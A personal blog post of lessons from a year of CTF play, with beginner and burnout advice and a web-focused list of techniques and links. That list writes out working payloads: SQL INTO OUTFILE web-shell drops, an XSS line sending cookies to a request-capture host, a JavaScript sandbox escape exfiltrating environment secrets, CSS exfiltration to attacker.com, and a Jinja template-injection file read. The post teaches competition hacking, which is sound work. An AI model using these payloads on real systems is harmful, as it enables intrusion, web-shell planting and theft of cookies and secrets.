What I've learned from a year of CTFs
playing in one of the top 100 teams in the world
(yes, we're this cool)
When I was playing CTFs actively with sillysec, I was keeping notes of some of what I was learning as I was going. The following is mostly web focused because I am web focused.
if you're new
If you want to get started with CTFs, go to ctftime.org and pick a CTF that interests you. The secret point of CTFs is to find what you don't know and learn it. Winning comes naturally from a constant practice of that. When the CTF starts, join its Discord server - this is where you can find a team and learn how others solved challenges you struggled with from their writeups.
Why should you play with a team? A team is as important as your own skills. Sometimes you really do need to brainstorm ideas. They will guide you where you're clueless and you'll guide them. You'll practice team work, social skills, maintaining high morale, and you'll make friends. Pick a team you feel comfortable and motivated in. (don't buy in to the grind culture). You can reach out to people in the Discord server (do it politely) (having experience helps sell yourself). I enjoyed playing in a small team but I don't know how universal that is.
When you want to get to solving challenges, start from the easiest (if you're experienced, it's easy points, easy dopamine). If you're new to this, expect a lot of failure - that's okay, it's the point. Recognize what you didn't know and learn it. Mix that with general learning from courses (linked below) and you'll start getting flags before you know it! It might take a while though. Don't get discouraged, trust the process.
After the CTF has ended, look at writeups of challenges you had trouble with. You'll be able to find them after a while on the Discord server and on the ctftime.org page. And make your own writeups! You'll be giving back to the community, expanding your blog/portfolio, have an easiy shareable bit of your own computercoolness... and you enjoying this may mean that you will end up applying to cybersec jobs - writeups are a great resource there. It also helps you practice writing reports, which is just a useful skill. It's better to make a poor writeup than none at all! There was a point when I wished I had made more low quality writeups on top of a few good ones, rather than just a few good ones, but I made some quick small writeups since then.
(or don't listen to any of this and just go have fun)
Now, starting out the main part with the most important bit, since you play CTFs for a reason:
how to not burn out
Whatever the level you're at, mostly do challenges in areas you're already good at. Yes, of course do a number of challenges that you'll learn something new from. But this is so you don't burn out. If you only do challenges at the boundary of your capabilities, you'll only face uphill battles and an amount of failure you won't be able to process.
Long term, even if we take this point to an extreme, you'll learn more from solving all easy challenges and only one reasonably difficult one per CTF, than attempting only the difficult ones only to burn out later. Trust me, the latter brought me to burnout I took a year to recover from. By doing the easy challenges, you not only get quick points for your team, but also hone your skills and improve your form and speed. All while consistently being reminded of your success and witnessing your progress. Be happy that easy challenges are easy for you! That's all you!
If you're doing this to learn (and to win), this philosophy will give you more of what you want long term.
actual tech learnings i've got
(yes, i'm done yapping)
web
- use BurpSuite to edit requests your browser makes before they're sent off, replay requests easily, and wayy more
- requestcatcher.com lets you create a url that will capture all requests made to it. good for exfiltrating data, for example in XSS or SSRF
- you can use SSRF to learn the server IP if it's protected with a proxy or cloudflare
- you can perform Local File Inclusion in Image Magick by submitting a crafted PNG (CVE-2022-44268)
- it's possible to write into files using mysql
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
- use CSS to make arbitrary requests based on CSS query selectors and
background-image
or anything else that makes a request. for exampleimg[src*=ab] {background-image: url(//attacker.com/ab
- you can get to the flask debug console (at
/console
) (werkzeug) pin code if you can get LFI example writeup - look at
robots.txt
to find hidden paths - complicated race conditions? map out the state machine of the application by hand
- for more extreme attackery, look up "last byte sync". you can use it to make two requests arrive around the same time by sending their last bytes in the same packet
- web cache deception attack exists article
- just generally, think of authentication vulnerabilities, access control, path traversal, XSS, reverse shell, SSRF, CSRF, Timing attacks
- zaproxy - web app scanner
<img src='' onerror="fetch('https://mmm.requestcatcher.com/local', {'method':'POST','body':JSON.stringify({'data':document.cookie})})"/>
pointers to escape a javascript sandbox
<iframe id="exfil" src="https://eb9fabc4e699.ngrok.io/yaku"></iframe>
<script>
const outerRealmFunctionConstructor = Node.constructor;
const process = new outerRealmFunctionConstructor("return process")();
setTimeout(function() {
exfil.src = "/" + JSON.stringify(process.env['CTF_FLAG']);
}, 2000);
</script>
const outerRealmFunctionConstructor = Node.constructor;
const process = new outerRealmFunctionConstructor("fetch('https://uwu.requestcatcher.com/local', {method: 'POST', body: JSON.stringify(process)})")();
PHP
- PHP type juggling
- with GET or POST requests, you can submit different types, not just values. For example, to send an
array
foo
, you submitfoo[]=1&foo[]=2
- bypass PHP excluded functions to get a shell example writeup
rev
- Z3 solver exists. it can find an answer to a problem based on mathematical constraints.
android
I don't have much experience with this but here are some pointers:
- decompilation: jadx
- unpacking/repacking: apktool
- if you need to patch functionality, you can use a dummy intellij/android-studio project with java2smali
wild tricks
- to get a flag from a file through a Python Jinja template injection, you can use
{{"".__class__.__base__.__subclasses__()[84]().load_module("builtins").__import__("os").read("".__class__.__base__.__subclasses__()[84]().load_module("builtins").__import__("os").open('./flag.txt', 0), 100)}}
. you'll figure it out. - in bash, it is possible to execute things without any letters and numbers - see (liveoverflow) 33c3ctf hohoho
- think whether you can speed any process up, like maybe using binary search. this sounds simple but that's because you don't know what creative scenarios you missed this in. just because you will win a challenge at a speed, doesn't mean you should stop trying to improve that - if you can speed up a hands-off process, then you will potentially earn your team more points.
- for web challenges, look up what a blob url is.
misc
- I can give
'inf'
or'NaN'
as Python input forfloat(x)
. (if you're thinking "duh", so did I after realizing that that was the way to get past an obstacle I spent hours on in an easy challenge) - when working with paths, look for files typical for backend implementations, like
main.py
orapp.py
, as well as some paths typical to linux. - magic bytes are the bytes in a file that identify a specific file format
- based on the actual file content, not the extension. the linux programs
file
andbinwalk
use that method (among others) to identify files. more: wikipedia list of file signatures, a python helper library.
more philosophy
- ask yourself what is the actual thing you want to aim at. (because I went off on a lot of tangents that weren't actually going to get me to the solve to begin with)
- search for the solution as if the thing you want to achieve is possible. (cause some creatures give up too soon, not because it's hopeless, but because they got discouraged)
- maybe you can find a writeup about a similar challenge to what you're facing that will inspire you. ctftime hosts tens of thousands of writeups ctftime.org/writeups.
- maybe: before starting a challenge, write down all paths to the solve you can come up with, so you don't end up narrow focused in one for hours. pick one consciously. when you're working on a solution, keep adding new ones as you find them so you neither forget, nor go off on a tangent.
links
learning resources
- https://portswigger.net/web-security - great course. if you want to get into web challenges, start with this.
- https://trailofbits.github.io/ctf/
- https://picoctf.com
- https://book.hacktricks.xyz
- https://pequalsnp-team.github.io/cheatsheet/steganography-101
- https://portswigger.net/web-security/sql-injection/cheat-sheet
- https://github.com/cn223/awesome-osint
- https://freenode-hackers.github.io/hackers/
- https://owasp.org/www-project-web-security-testing-guide/latest/
- https://sectools.org/vuln-scanners.html
- https://app.hackthebox.com/starting-point
- more links elsewhere
tools
- printer exploitation toolkit
- binary ninja online (reverse binary)
- cutter (rev)
- dnsdumpster helps dns recon
- crt.sh helps find sudomains
- more tools elsewhere
wordlists
passwords
- https://github.com/xmendez/wfuzz/blob/master/wordlist/general/admin-panels.txt
- https://github.com/josuamarcelc/common-password-list